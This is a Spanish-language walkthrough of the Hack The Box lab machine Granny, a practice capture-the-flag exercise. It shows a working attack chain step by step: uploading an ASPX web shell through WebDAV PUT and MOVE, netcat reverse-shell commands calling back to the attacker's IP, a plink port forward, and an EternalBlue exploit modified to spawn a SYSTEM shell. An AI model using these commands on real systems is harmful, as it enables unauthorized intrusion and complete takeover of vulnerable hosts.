Información de la máquina.
Contenido | Descripción |
---|---|
OS: | |
Dificultad: | Facil |
Puntos: | 20 |
Lanzamiento: | 12/Abril/2017 |
IP: | 10.10.10.15 |
Primera sangre de usuario: | depasonico |
Primera sangre de system: | depasonico |
Enumeración.
Como siempre comenzaremos con un escaneo a los 65535
puertos de la máquina para poder encontrar cuales son los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts granny.htb -Pn --min-rate 3000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-29 22:45 CDT
Nmap scan report for granny.htb (10.10.10.15)
Host is up (0.18s latency).
Not shown: 65534 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 44.84 seconds
Una vez terminado el escaneo lanzaremos scripts de enumeración básicos para detectar el servicio y la versión del puerto descubierto.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
intrusion3r0@kali:~$ nmap -sCV -p80 -oN targeted -Pn granny.htb
Nmap scan report for granny.htb (10.10.10.15)
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| Server Type: Microsoft-IIS/6.0
| Server Date: Sun, 30 Aug 2020 03:15:51 GMT
|_ WebDAV type: Unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 29 22:13:12 2020 -- 1 IP address (1 host up) scanned in 13.58 seconds
El escaneo determino lo siguiente:
- Puerto 80 con un servicio IIS 6.0. (Muy antiguo)
- Métodos PUT y MOVE disponibles (Riesgo: Alto)
Nuestro escaneo nmap retorno que tenemos permisos de ejecutar el método PUT
en el WebDAV
Enumeración con webdav.
Por lo que rápidamente utilizo la herramienta davtest
para realizar una enumeración de que tipo de archivos podemos subir al WebDAV
.
1
intrusionz3r0@kali:~$ davtest -url http://granny.htb
El herramienta determino que nosotros no tenemos permitidos subir archivo aspx
pero no se preocupen, no todo esta perdido, tenemos el método MOVE
que como en Linux nos permite renombrar un archivo aquí podemos hacer prácticamente lo mismo, nosotros vamos a subir una shell en aspx
con extensión txt
y después sustituir la extensión txt
con aspx
utilizando el método MOVE
.
Subida de shell en aspx.
Para ellos utilizaremos la shell aspx que viene incluida en kali linux.
1
intrusionz3r0@kali:~$ cp /usr/share/webshells/aspx/cmdasp.aspx .
Ahora que tenemos la shell en nuestro directorio de trabajo, vamos a subirla utilizando la herramienta curl
.
1
intrusionz3r0@kali:~$ curl -X PUT http://granny.htb/cmdasp.txt --data-binary @cmdasp.aspx
Ahora vamos a renombrar el archivo.
1
intrusionz3r0@kali:~$ curl -X MOVE -H "Destination:http://granny.htb/cmdasp.aspx" http://granny.htb/cmdasp.txt
¡¡Eureka!!
Podemos ejecutar comandos.
Shell como el usuario network service.
Mi siguiente paso es obtener una shell, para ello levanto un servidor con samba compartiendo el binario de nc.exe
y me mando una shell a mi máquina.
Ejecutamos el netcat directamente desde mi servidor apuntando hacia mi máquina.
1
Command: start /b \\10.10.14.2\smbFolder\nc.exe -e cmd 10.10.14.2 1234
Obtenemos una shell como el usuario network service
.
1
2
3
4
5
6
7
8
9
10
11
intrusionz3r0@kali:~$ rlwrap nc -lvp 1234
listening on [any] 1234 ...
connect to [10.10.14.2] from granny.htb [10.10.10.15] 1032
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service
c:\windows\system32\inetsrv>
Post-Enumeración
Nuevamente mientras realizaba una enumeración me percate de que tenia el puerto 445
abierto localmente.
Por lo que decidí intentar probar si era vulnerable a eternalblue.
Port forwarding
Para ello me voy a una ruta donde tenga permisos de escritura, me monto un servidor con samba compartiendo el binario de plink.exe
,nc.exe
y los descargo en la máquina Granny.
Después creo la regla de port forwarding para tunelizar mi puerto 445 con el puerto 445 de la máquina Granny.
Iniciamos mi servicio SSH.
1
intrusionz3r0@kali:~$ sudo service ssh start
Creamos la regla de port forwarding.
1
C:\WINDOWS\Temp>plink32.exe -l root -pw ink130198 -R 445:127.0.0.1:445 10.10.14.2
Una vez hecho esto vamos a verificar que la regla de port forwarding se haya creado correctamente, para ello ejecuto crackmapexec
.
1
2
intrusionz3r0@kali:~$ cme smb 127.0.0.1
SMB 127.0.0.1 445 GRANNY [*] Windows Server 2003 R2 3790 Service Pack 2 (name:GRANNY) (domain:granny) (signing:False) (SMBv1:True)
Como podemos observar nuestro puerto 445 se esta tunelizando con el servicio samba de la máquina Granny y ahora si podemos realizar el test.
Explotación de eternalblue.
El repositorio que usaremos para la explotación sera el siguiente: MS17-010.
Lanzamos el checker a nuestra IP local.
Y efectivamente la máquina es vulnerable a eternalblue y esto lo se porque me muestra algunos pipes en ok
.
El exploit que utilizaremos será el zzz_exploit.py
.
Si recuerdan la máquina anterior Grandpa ya sabran que hacer, debemos modificar una parte del código del zzz_exploit.py
donde le especificaremos el comando a ejecutar.
Haremos la siguiente modificación.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def smb_pwn(conn, arch):
#smbConn = conn.get_smbconnection()
#print('creating file c:\\pwned.txt on the target')
#tid2 = smbConn.connectTree('C$')
#fid2 = smbConn.createFile(tid2, '/pwned.txt')
#smbConn.closeFile(tid2, fid2)
#smbConn.disconnectTree(tid2)
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
service_exec(conn, r'cmd /c c:\WINDOWS\Temp\nc.exe -e cmd 10.10.14.2 1234')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
Por último dejamos nuestro netcat a la escucha de cualquier conexión entrante y ejecutamos el exploit.
1
intrusionz3r0@kali:~$ sudo python zzz_exploit.py 127.0.0.1 samr
Shell como administrador.
1
2
3
4
5
6
7
8
9
10
11
rlwrap nc -lvp 1234
listening on [any] 1234 ...
connect to [10.10.14.2] from granny.htb [10.10.10.15] 1040
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>whoami
whoami
nt authority\system
C:\WINDOWS\system32>
¡¡Somos Administradores!!
Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.